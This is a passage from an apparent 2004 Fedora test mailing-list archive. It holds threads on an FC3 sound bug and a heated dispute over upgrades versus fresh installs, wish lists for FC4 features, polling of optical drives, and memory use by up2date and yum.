Clean FC3rc3 = no sound > 3) FC3rc3 -> rc5 via yum when I finally got the repository = no sound. > 4) FC3final = no sound. > > 1 - should have worked -- did you bugzilla? I bugzilla'd. > 2 - should have worked -- did you bugzilla (or update your bugzilla > entry? Yep, upgraded the bugzilla report. > 3 - no guarantees whatsoever ... the repo problem is no surprise and > if > you expect that to be fixed, you will be expecting for a long time I fixed the repo myself. It wasn't expected. > 4 - should have worked, but only if you upgraded from FC2 or it was a > clean install -- bugzilla? Clean install. I did a bugzilla. The issue here isn't that I had a bug or whether or not it got fixed. I am very happy with both the number of bugs in FC3 and the speed at which they are gotten to. The issue here IS that someone came on the list and told me the problem was the result of running an upgrade instead of installing fresh. (FC2 to FC3t3.) I was guaranteed that installing fresh would fix the issue. Instead the issue has stayed with us through 4 releases. The sound issue never had anything to do with being the result of an upgrade. The advice to upgrade was crap. As far as I am concerned, issues resulting from upgrades should be taken just as seriously as issues from fresh installs. I am not demanding a fix for anything. The ONLY point I wish to make is that the advice "Please reinstall fresh" NOT be given when someone has a problem. In 95% of the cases whether the install was done as a fresh or upgrade makes no difference. For those doubting my experience, here are a few quotes from threads on the topic: "Upgrading to FC3t2 was not the best move now. I would suggest (to save you time) just reinstall (you don't want to upgrade from where youre) next week when FC3 final is released, you shouldn't have that problem anymore." Oct 27. "A problem similar to this happened in the middle of testing between ine test FC3 versions. If you read the archives for the Test list youill see 2 email posts about folks not being able to get sound output. This has been fixed. This sounds like the same issue. He might need to just upgrade his alsa libs and utils. But upgrading in FC3 is a mess , esspecially starting from test 2. I would advise him to try one of the RC builds instead and then look into it." "If you do a fresh install you will be fine. Try RC2." And here is my bugzilla report: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137579 To summarize: a) telling people they have a problem because they've upgraded rather than installed from fresh is probably crap. b) reinstalling fresh probably won't fix a bug. c) overall I am very happy with FC3 and its level of bugs and the speed with which they are fixed. -- Kim Lux (Mr.) Diesel Research Inc From joelbryanster at gmail.com Thu Nov 11 22:51:44 2004 From: joelbryanster at gmail.com (joelbryan) Date: Fri, 12 Nov 2004 06:51:44 +0800 Subject: Features for FC4 In-Reply-To: <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> Message-ID: How about an inclusion of a "Startup" folder, similar to Windows. On Thu, 11 Nov 2004 14:04:02 +0100 (CET), Roger Grosswiler wrote: > > > > On Thu, 2004-11-11 at 12:37 +0000, Tony Molloy wrote: > >> On Wednesday 10 November 2004 18:47, Mark Haney wrote: > >> > I know it's probably a bit early, but does anyone have a > >> > comprehensive set of features/ideas for FC4? So far FC3 is by far > >> > the best distro out there, but surely there's been some thought to > >> > what's next. Plus, I'd love to help out with it in any way I can, > >> > but time prohibits real development, is there any need for > >> > documentation? > >> > > >> > >> "Best distro out there" It's been out for 4 days and so far there have > >> been at least 103 package upgrades. This sound to me like it was > >> released too early ;-) > > > > well.... most of it is minor fixes that weren't allowed in due to the > > freeze, and the developer had done the work anyway so decided to just > > push out the bugfix... > > > > the alternative is to leave the bug in; which would you prefer ? > > > > (and before you say "then delay the release"... there will ALWAYS be > > non-critical bugs, if you wait for that you will never get a release) > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > you're right, Arjan. > > But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... > > it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) > > Roger > > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- Music = Apple iPod + Rhythmbox & iTunes Browser = Mozilla Firefox & Epiphany Desktop = Gnome, Mac OSX, Longhorn 4074 Distro = Fedora Core Language = PHP, MySQL, Python, HTML Graphics = Gimp 2.0, gThumb, Picasa Editors = FrontPage 2003, vi, gedit Codecs = FLAC, Ogg Vorbis, Apple Lossless RSS = Thunderbird, Hello, Blogspot From joelbryanster at gmail.com Thu Nov 11 22:55:15 2004 From: joelbryanster at gmail.com (joelbryan) Date: Fri, 12 Nov 2004 06:55:15 +0800 Subject: Features for FC4 In-Reply-To: References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> Message-ID: an gDesklet version of up2date. gDesklet for Fedora Core. Inclusion of nice explicit Calendar Software. On Fri, 12 Nov 2004 06:51:44 +0800, joelbryan wrote: > How about an inclusion of a "Startup" folder, similar to Windows. > > > > > On Thu, 11 Nov 2004 14:04:02 +0100 (CET), Roger Grosswiler > wrote: > > > > > > > On Thu, 2004-11-11 at 12:37 +0000, Tony Molloy wrote: > > >> On Wednesday 10 November 2004 18:47, Mark Haney wrote: > > >> > I know it's probably a bit early, but does anyone have a > > >> > comprehensive set of features/ideas for FC4? So far FC3 is by far > > >> > the best distro out there, but surely there's been some thought to > > >> > what's next. Plus, I'd love to help out with it in any way I can, > > >> > but time prohibits real development, is there any need for > > >> > documentation? > > >> > > > >> > > >> "Best distro out there" It's been out for 4 days and so far there have > > >> been at least 103 package upgrades. This sound to me like it was > > >> released too early ;-) > > > > > > well.... most of it is minor fixes that weren't allowed in due to the > > > freeze, and the developer had done the work anyway so decided to just > > > push out the bugfix... > > > > > > the alternative is to leave the bug in; which would you prefer ? > > > > > > (and before you say "then delay the release"... there will ALWAYS be > > > non-critical bugs, if you wait for that you will never get a release) > > > -- > > > fedora-test-list mailing list > > > fedora-test-list at redhat.com > > > To unsubscribe: > > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > you're right, Arjan. > > > > But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > > preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... > > > > it would also be nice, if FC4 could cook some coffee for me, while installing it ;-) > > > > Roger > > > > > > > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > -- > Music = Apple iPod + Rhythmbox & iTunes > Browser = Mozilla Firefox & Epiphany > Desktop = Gnome, Mac OSX, Longhorn 4074 > Distro = Fedora Core > Language = PHP, MySQL, Python, HTML > Graphics = Gimp 2.0, gThumb, Picasa > Editors = FrontPage 2003, vi, gedit > Codecs = FLAC, Ogg Vorbis, Apple Lossless > RSS = Thunderbird, Hello, Blogspot > -- Music = Apple iPod + Rhythmbox & iTunes Browser = Mozilla Firefox & Epiphany Desktop = Gnome, Mac OSX, Longhorn 4074 Distro = Fedora Core Language = PHP, MySQL, Python, HTML Graphics = Gimp 2.0, gThumb, Picasa Editors = FrontPage 2003, vi, gedit Codecs = FLAC, Ogg Vorbis, Apple Lossless RSS = Thunderbird, Hello, Blogspot From douglas.furlong at firebox.com Thu Nov 11 22:59:46 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 22:59:46 +0000 Subject: Why don't you guys like synaptic? In-Reply-To: <1100212754.9321.14.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> <1100212754.9321.14.camel@localhost.localdomain> Message-ID: <4193EEE2.9070806@firebox.com> Kim Lux wrote: >On Thu, 2004-11-11 at 16:45 -0500, Paul Iadonisi wrote: > > >>1) FC2 final-> FC3Test3 = no sound >>2) Clean FC3rc3 = no sound >>3) FC3rc3 -> rc5 via yum when I finally got the repository = no sound. >>4) FC3final = no sound. >> >>1 - should have worked -- did you bugzilla? >> >> > >I bugzilla'd. > > > > >>2 - should have worked -- did you bugzilla (or update your bugzilla >>entry? >> >> > >Yep, upgraded the bugzilla report. > > > >>3 - no guarantees whatsoever ... the repo problem is no surprise and >>if >>you expect that to be fixed, you will be expecting for a long time >> >> > >I fixed the repo myself. It wasn't expected. > > > >>4 - should have worked, but only if you upgraded from FC2 or it was a >>clean install -- bugzilla? >> >> > >Clean install. I did a bugzilla. > >The issue here isn't that I had a bug or whether or not it got fixed. I >am very happy with both the number of bugs in FC3 and the speed at which >they are gotten to. > > Kim, I've seen you post to this list for a while now, you've been helpfull to quite a few people, but honestly, the tone of a lot of your messages on a couple of recent threads seem very antagonistic, I think it may be a good idea to step back for a while and cool down? Please don't take this in a condecending manner, as it's not meant in that way. >The issue here IS that someone came on the list and told me the >problem was the result of running an upgrade instead of installing >fresh. (FC2 to FC3t3.) I was guaranteed that installing fresh would fix >the issue. Instead the issue has stayed with us through 4 releases. > > Who were you told by? who were you garenteed by? This is a compleately open and unmoderated forumn. Unfortunately if you are given duf information, then there is little recourse, other then try to be more aware in the future, and take every thing said with a pinch of salt. In situations like this, it sounds like you will have to find the person responsible for the package, and then mail them directly, some times they just don't notice the bugzilla, or some one is shouting at them for another problem, letting off steam on this list is more likely going to just ostrasize you from the community which is no help to any of us. > > >The sound issue never had anything to do with being the result of an >upgrade. The advice to upgrade was crap. As far as I am concerned, >issues resulting from upgrades should be taken just as seriously as >issues from fresh installs. > > I assume this isn't one of the quotes ;) Yes, those bugs ARE taken seriously (I beleive). Upgrades are always asked to be tested, and they are probably one area that is not tested enough (I never upgrade....) It is not possible to maintain upgrade paths from essentialy random rawhide packages, upgrade paths are unlikly to be EVER planned for rawhide, or from test release to test release. And to be honest, I don't see why they should. >I am not demanding a fix for anything. The ONLY point I wish to make is >that the advice "Please reinstall fresh" NOT be given when someone has a >problem. In 95% of the cases whether the install was done as a fresh or >upgrade makes no difference. > >For those doubting my experience, here are a few quotes from threads on >the topic: > >"Upgrading to FC3t2 was not the best move now. I would suggest (to save >you time) just reinstall (you don't want to upgrade from where youre) >next week when FC3 final is released, you shouldn't have that >problem anymore." Oct 27. > > To me this guy is saying, that it will probably be too much effort to trouble shoot the problem, and as such a fresh install would be easier/quicker. If he was wrong, then so be it, politely tell him other wise, don't get angry, or frustrated. sorry, but too tired to comment on the rest, I wanna go to bed :) Nighty night all. Dougie From alan at redhat.com Thu Nov 11 23:41:10 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 11 Nov 2004 18:41:10 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1100203758.4014.32.camel@davidz> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> <20041105002728.GF11079@devserv.devel.redhat.com> <1100203758.4014.32.camel@davidz> Message-ID: <20041111234110.GE24473@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 03:09:18PM -0500, David Zeuthen wrote: > Interesting - I suppose there is no better way to detect media in > optical drives than polling? IIRC some IDE optical drives emits a signal > on media change (so we don't have to poll; we just listen to that > signal) but this is not widely available (since most drives doesn't > comply with the MMC specs) just like the notification from eject buttons > is not widely available, correct? Its not a notification - you have to poll. MMC just added the ability to pull for pending eject and other MMC features. Its all only in later MMC and highly optional > Who controls the power saving policy; the drive firmware or the kernel? Both. > Is the jamming of the IDE bus caused by a deficiency in the kernel or is > that just the true way of the IDE spec? Its the way IDE works > How does other operating systems handle this? Windows seems to have multiple techniques so I guess they have whitelists, blacklists and strategy routines dependant on MMC features. Eg if they can poll button state they use that. Alan From alan at redhat.com Thu Nov 11 23:42:26 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 11 Nov 2004 18:42:26 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1100204188.4014.37.camel@davidz> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> <20041105002728.GF11079@devserv.devel.redhat.com> <1099642074.2814.3.camel@laptop.fenrus.org> <1100204188.4014.37.camel@davidz> Message-ID: <20041111234226.GF24473@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 03:16:27PM -0500, David Zeuthen wrote: > Another more straightforward option is of course to poll more than once > a second so the drive never goes into power saving mode and thus never > jams the bus :-). No, seriously, it would best not to poll as well, but > we do need the media change notifications. If you poll a lot you'll then have fun with the drives too dumb to cache the TOC. I don't think there is one solution here, it probably requires blacklisting the small number of problem drive types From pri.rhl3 at iadonisi.to Thu Nov 11 23:43:15 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 11 Nov 2004 18:43:15 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100212754.9321.14.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> <1100212754.9321.14.camel@localhost.localdomain> Message-ID: <1100216595.24175.98.camel@va.local.linuxlobbyist.org> On Thu, 2004-11-11 at 15:39 -0700, Kim Lux wrote: [snip] > The issue here IS that someone came on the list and told me the > problem was the result of running an upgrade instead of installing > fresh. (FC2 to FC3t3.) I was guaranteed that installing fresh would fix > the issue. Instead the issue has stayed with us through 4 releases. *sigh* WHY do you keep mushing together different complaints? Or maybe you're not, but I think you are confusing what was recommended, or not quoted enough of it below (please include links into the archives when you cite what someone has posted if you can ... it helps tremendously). If you do this (not saying you did, but...): 1) Install FC2 and get working sound 2) Upgrade your FC2 to FC3T3 and sound breaks 3) Upgrade to FC3RC3 and sound is still broken 4) Get told that sound problem was fixed in FC3RC3 5) Find that your sound is still broken in FC3RC3 6) Get told to install FC3RC3 fresh Then that is a perfectly reasonable thing to tell you to do because when you upgraded FC2 to FC3T3, it broke your sound. Upgrading from FC3T3 to FC3RC3 did not fix it and probably will never be fixed because upgrades from test->rc is not going to be supported. So in reality, you have two options to determine if the problem is fixed. You're install is in a broken state due to the upgrade from FC2->FC3T3 breaking it and doing FC3T3->FC3RC3 didn't fix it. So you can either 1) install FC2 fresh and upgrade to FC3RC3 to see if it works or 2) install FC3RC3 fresh to see if it works. You also note in the bugzilla entry that you did your blacklist workaround after *upgrading* to FC3 final. These seems to imply (correct me if I'm wrong) that you upgraded from FC3RC3->FC3 which is absolutely not supported. So the question is, did you ever do one of the following? a) Upgrade from a clean FC2 to FC3RC[3-5] without any intervening upgrades to FC3T [1-3] or FC3RC[1-2] and confirm that the sound problem still exists or b) Clean install FC3RC[3-5] or FC3 and confirm that the sound problem still exists. Because if you didn't do either, then the bug is not confirmed. The simple fact that your workaround actually works indicates that (unless you did (a) or (b) above), that maybe the problem *was* in fact resolved. It's entirely possible that you had to implement the workaround because of a broken upgrade path that is not supported (FC2->FC3T3->FC3RC3->FC3). > They don't, really. See my comments. > The sound issue never had anything to do with being the result of an > upgrade. The advice to upgrade was crap. As far as I am concerned, > issues resulting from upgrades should be taken just as seriously as > issues from fresh installs. Possibly, but if you are expecting upgrades *from* any test releases or release candidates to be taken seriously _if they cannot be or *are not* reproduced with clean installs *or* upgrades from previous official releases_, then absolutely not. I also think it behooves you to accept the fact that sometimes a proper bugfix for an upgrade problem is simply to release-note it ... explain to users what the problem is with upgrade and how to fix it ... if it's a simple fix, but not so simple to fix in the installer (or wasn't fixed due to lack of time). > I am not demanding a fix for anything. The ONLY point I wish to make is > that the advice "Please reinstall fresh" NOT be given when someone has a > problem. In 95% of the cases whether the install was done as a fresh or > upgrade makes no difference. Agreed. However, *during* a testing cycle your system just may get b0rked by a rogue rpm (like my rpm-without-file-conflicts example) in a test/rc release or a rawhide rpm at which point that may be the only viable option. If you can't accept that, then don't test. > For those doubting my experience, here are a few quotes from threads on > the topic: > > "Upgrading to FC3t2 was not the best move now. I would suggest (to save > you time) just reinstall (you don't want to upgrade from where youre) > next week when FC3 final is released, you shouldn't have that > problem anymore." Oct 27. The first sentence here, I'm not sure about, but IIRC, FC3T2 was seriously b0rked so in this specific case, it actually might have made sense. But the second part is clearly reiterating what I've said over and over: you can't expect to upgrade *from* a test release and have things be all hunky dory. They might be, but consider yourself lucky if that happens. > "A problem similar to this happened in the middle of testing between ine > test FC3 versions. If you read the archives for the Test list youill see > 2 email posts about folks not being able to get sound output. > This has been fixed. This sounds like the same issue. He might need to > just upgrade his alsa libs and utils. But upgrading in FC3 is a mess , > esspecially starting from test 2. I would advise him to try one of the > RC builds instead and then look into it." All I get from this is that upgrades were, in fact, broken for a while in the FC3 testing cycle. So in order to test *other* stuff, it was better to just clean install and wait for the upgrade problems to be fixed in the RC releases. What this seems to say is that the sound problem was fixed before the upgrade problems. In other words it was likely a anaconda bug, not really a sound a bug. > "If you do a fresh install you will be fine. Try RC2." See above. This sometimes makes sense, especially when upgrades are broken mid-test cycle. > To summarize: > > a) telling people they have a problem because they've upgraded rather > than installed from fresh is probably crap. *FROM* test releases, it is absolutely not crap. > b) reinstalling fresh probably won't fix a bug. You never know until you try, and unless others have corroborated the problem you have by doing clean installs or upgrades from official releases, then it's actually likely. > c) overall I am very happy with FC3 and its level of bugs and the speed > with which they are fixed. Good to hear. Me too! :-) -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From alan at redhat.com Thu Nov 11 23:46:25 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 11 Nov 2004 18:46:25 -0500 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100207049.4069.30.camel@preview> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <4193DFD7.7090400@flarn.com> <1100207049.4069.30.camel@preview> Message-ID: <20041111234625.GG24473@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 07:04:09PM -0200, Alexandre Strube wrote: > Up2date takes forever on EVERY computer I tested. And forget about using > anything on the same desktop. It looks like a bad multithreaded app. >From the UI behaviour and a quick look it seems to be single threaded but it certainly absorbs amazing amounts of ram at times. Not sure why - rpm transactions are complex and some of the handling isn't ideal but yum uses a lot less than up2date From skvidal at phy.duke.edu Fri Nov 12 00:19:25 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 19:19:25 -0500 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <4193DFD7.7090400@flarn.com> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <4193DFD7.7090400@flarn.com> Message-ID: <1100218766.6926.6.camel@binkley> On Thu, 2004-11-11 at 16:55 -0500, Ken Snider wrote: > nodata wrote: > > > I think so, yes. If not, why was yum developed? > > It was developed initially by another vendor, Yellow Dog Linux. It wasn't > developed for Fedora. no, it wasn't. It took the name of an older package but it was developed by me. I don't work for any linux distribution company. -sv From skvidal at phy.duke.edu Fri Nov 12 00:20:59 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 11 Nov 2004 19:20:59 -0500 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <200411111722.22134.gene.heskett@verizon.net> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <4193DFD7.7090400@flarn.com> <200411111722.22134.gene.heskett@verizon.net> Message-ID: <1100218859.6926.8.camel@binkley> > Thats an extremely off experience here statement . Yum has updated > glibc once on this box that I know of. No problems caused by that. > But every time it tries to put in a newer python libxml2, it breaks > itself and half the rest of the system that uses python till I go > back to the FC2 cd's and forceably reinstall the originals again. If > the writers of libxml2 cannot make a new version backwards > compatible, I would much prefer it be left the hell alone until all > the stuff that depends on it have also been updated to be compatible. > > I've had a severely crippled machine for 3 of the 6 months I've been > running FC2. And questions sent here as to why have, with one or two > exceptions, been met with the usual phone support lets take it by the > numbers order of troubleshooting that degenerates into a 'Gee, thats > never happened here' quote, and I'm left hanging. Once I figured out > that if I put the CD's versions back in, I've been able to fix it > everytime yum fubars it. But I eventually got tired of that and now > thats in the exclude list in my yum.conf. Gene, I've seen your messages to yum-list and fedora lists. In almost every case you've installed things via check-install and your rpmdb is bordering on spaghetti. Your problems with yum are entirely user error. -sv From lux at diesel-research.com Fri Nov 12 00:40:47 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 17:40:47 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100216595.24175.98.camel@va.local.linuxlobbyist.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> <1100212754.9321.14.camel@localhost.localdomain> <1100216595.24175.98.camel@va.local.linuxlobbyist.org> Message-ID: <1100220047.13679.23.camel@localhost.localdomain> This is my last post on this subject. It appears as though some of us disagree. I'll leave it at that. Comments below. On Thu, 2004-11-11 at 18:43 -0500, Paul Iadonisi wrote: > On Thu, 2004-11-11 at 15:39 -0700, Kim Lux wrote: > > [snip] > > > The issue here IS that someone came on the list and told me the > > problem was the result of running an upgrade instead of installing > > fresh. (FC2 to FC3t3.) I was guaranteed that installing fresh would fix > > the issue. Instead the issue has stayed with us through 4 releases. > > *sigh* WHY do you keep mushing together different complaints? They are all the same basic complaint: people use the fact that someone UPGRADED as an excuse not to take bugs seriously. My sound example was just that, an example. The topic hasn't changed since my first post. > Or > maybe you're not, but I think you are confusing what was recommended, or > not quoted enough of it below (please include links into the archives > when you cite what someone has posted if you can ... it helps > tremendously). To make it clear: I no longer have an issue with sound. I am only using it as an example of when a bug was thought to have been caused by an UPGRADE when in fact the upgrade had NOTHING to do with it. > If you do this (not saying you did, but...): > > 1) Install FC2 and get working sound > 2) Upgrade your FC2 to FC3T3 and sound breaks > 3) Upgrade to FC3RC3 and sound is still broken > 4) Get told that sound problem was fixed in FC3RC3 > 5) Find that your sound is still broken in FC3RC3 > 6) Get told to install FC3RC3 fresh Yep. > Then that is a perfectly reasonable thing to tell you to do because > when you upgraded FC2 to FC3T3, it broke your sound. Yes it did. FC3T3 broke my sound. At that point we have a bug that needs to be investigated. IT IS NOT PRUDENT TO TELL SOMEONE TO REINSTALL FROM FRESH HERE. IT IS TIME TO FIX THE BUG, NOT REINSTALL. (I'm not shouting, just emphasizing... I don't have bold...) > Upgrading from > FC3T3 to FC3RC3 did not fix it and probably will never be fixed because > upgrades from test->rc is not going to be supported. Wrong answer ! Every upgrade should work. If the bug was fixed in FC3RC3, it should have worked fine. It would have. > So in reality, you > have two options to determine if the problem is fixed. You're install > is in a broken state due to the upgrade from FC2->FC3T3 breaking it and > doing FC3T3->FC3RC3 didn't fix it. So you can either 1) install FC2 > fresh and upgrade to FC3RC3 to see if it works or 2) install FC3RC3 > fresh to see if it works. Wrong answer again ! You shouldn't have to reinstall to see if a bug is fixed !!! THIS ISN'T WINDOWS ! (Emphasis, not shouting.) I actually did option number 2 and proved the bug wasn't fixed. As far as I am concerned, if upgrading doesn't fix the bug, then then neither will installing fresh. Thinking that installing fresh will fix a bug is ludicrous ! Either all the packages are the same on the install are they aren't. It doesn't matter if they came from upgrade or fresh. > You also note in the bugzilla entry that you did your blacklist > workaround after *upgrading* to FC3 final. These seems to imply > (correct me if I'm wrong) that you upgraded from FC3RC3->FC3 which is > absolutely not supported. Yep, that is what I did. I don't give a darn if it is "supported" or not. It should work. Don't you dare tell me I should have installed FC3final from fresh ! I posted my fix on 2 other sites and 2 other people have emailed me with thanks for helping them. The sound problem had NOTHING to do with fresh or upgrade. > So the question is, did you ever do one of the following? a) Upgrade > from a clean FC2 to FC3RC[3-5] without any intervening upgrades to FC3T > [1-3] or FC3RC[1-2] and confirm that the sound problem still exists I originally upgraded from a good FC2 to FC3T3 and it didn't work. I am not going to repeat that process to find if the bug is still there or if the blacklist fixes it. > or > b) Clean install FC3RC[3-5] or FC3 and confirm that the sound problem > still exists. Because if you didn't do either, then the bug is not > confirmed. The simple fact that your workaround actually works > indicates that (unless you did (a) or (b) above), that maybe the problem > *was* in fact resolved. It's entirely possible that you had to > implement the workaround because of a broken upgrade path that is not > supported (FC2->FC3T3->FC3RC3->FC3). I left it as an open bug. The developer can check if a) snd-intel8x0m needs to be blacklisted b) if the blacklisting occurs properly during install. It should be pretty straight forward to fix from here on in. > > > > They don't, really. See my comments. > > > The sound issue never had anything to do with being the result of an > > upgrade. The advice to upgrade was crap. As far as I am concerned, > > issues resulting from upgrades should be taken just as seriously as > > issues from fresh installs. > > Possibly, but if you are expecting upgrades *from* any test releases > or release candidates to be taken seriously _if they cannot be or *are > not* reproduced with clean installs *or* upgrades from previous official > releases_, then absolutely not. When packages are updated, they are updated. Whether the original package was version 0 or version 23 shouldn't matter. This business of saying that the upgrade process from certain versions won't fix bugs is ludicrous. I'll bet I could install FC3T1 and upgrade to FC3 final and have a perfectly working system If I had time I would do it just to prove the point. > I also think it behooves you to accept the fact that sometimes a > proper bugfix for an upgrade problem is simply to release-note it ... > explain to users what the problem is with upgrade and how to fix it ... > if it's a simple fix, but not so simple to fix in the installer (or > wasn't fixed due to lack of time). That doesn't behoove me AT ALL. I'd would have loved someone to tell me there was a simple fix for this in the first place. Did you notice that I posted to the list several times about this issue before I upgraded/reinstalled and also tested 2 installs before reporting it as a bug. I understand that first releases aren't going to be perfect and that it will take a while until people find and fix all the bugs. WHAT I DONT LIKE IS PEOPLE BLAMING BUGS ON THE UPGRADE. Read my lips: UPGRADES ARE NOT AN EXCUSE FOR BUGS. BUGS ARE NOT FIXED BY FRESH INSTALLS. > > I am not demanding a fix for anything. The ONLY point I wish to make is > > that the advice "Please reinstall fresh" NOT be given when someone has a > > problem. In 95% of the cases whether the install was done as a fresh or > > upgrade makes no difference. > > Agreed. However, *during* a testing cycle your system just may get > b0rked by a rogue rpm (like my rpm-without-file-conflicts example) in a > test/rc release or a rawhide rpm at which point that may be the only > viable option. If you can't accept that, then don't test. It might get broken, but the next update to that package should fix it again. > > For those doubting my experience, here are a few quotes from threads on > > the topic: > > > > "Upgrading to FC3t2 was not the best move now. I would suggest (to save > > you time) just reinstall (you don't want to upgrade from where youre) > > next week when FC3 final is released, you shouldn't have that > > problem anymore." Oct 27. > > The first sentence here, I'm not sure about, but IIRC, FC3T2 was > seriously b0rked so in this specific case, it actually might have made > sense. But the second part is clearly reiterating what I've said over > and over: you can't expect to upgrade *from* a test release and have > things be all hunky dory. They might be, but consider yourself lucky if > that happens. You and I seriously disagree on that point. > > "A problem similar to this happened in the middle of testing between ine > > test FC3 versions. If you read the archives for the Test list youill see > > 2 email posts about folks not being able to get sound output. > > This has been fixed. This sounds like the same issue. He might need to > > just upgrade his alsa libs and utils. But upgrading in FC3 is a mess , > > esspecially starting from test 2. I would advise him to try one of the > > RC builds instead and then look into it." > > All I get from this is that upgrades were, in fact, broken for a while > in the FC3 testing cycle. What do you mean by that ? I did several upgrades and they all worked. > So in order to test *other* stuff, it was > better to just clean install and wait for the upgrade problems to be > fixed in the RC releases. What this seems to say is that the sound > problem was fixed before the upgrade problems. NO ! THE SOUND BUG IS NOT FIXED YET, EVEN NOW. Someone gave me a work around, but the next person to install with the same hardware is going to have the same problem. > In other words it was > likely a anaconda bug, not really a sound a bug. ABSOLUTELY NOT ! My fresh install of FC3RC3 proved it was NOT an anaconda bug as in something didn't install right. > > "If you do a fresh install you will be fine. Try RC2." > > See above. This sometimes makes sense, especially when upgrades are > broken mid-test cycle. UUGGGGHHHH.... I didn't have any problems with upgrades. Upgrades worked fine. > > To summarize: > > > > a) telling people they have a problem because they've upgraded rather > > than installed from fresh is probably crap. > > *FROM* test releases, it is absolutely not crap. > > > b) reinstalling fresh probably won't fix a bug. > > You never know until you try, and unless others have corroborated the > problem you have by doing clean installs or upgrades from official > releases, then it's actually likely. > > > c) overall I am very happy with FC3 and its level of bugs and the speed > > with which they are fixed. > > Good to hear. Me too! :-) > > -- > -Paul Iadonisi > Senior System Administrator > Red Hat Certified Engineer / Local Linux Lobbyist > Ever see a penguin fly? -- Try Linux. > GPL all the way: Sell services, don't lease secrets > -- Kim Lux (Mr.) Diesel Research Inc From scott.aaron at abc.net.au Fri Nov 12 00:41:31 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Fri, 12 Nov 2004 11:41:31 +1100 Subject: Features for FC4 In-Reply-To: References: 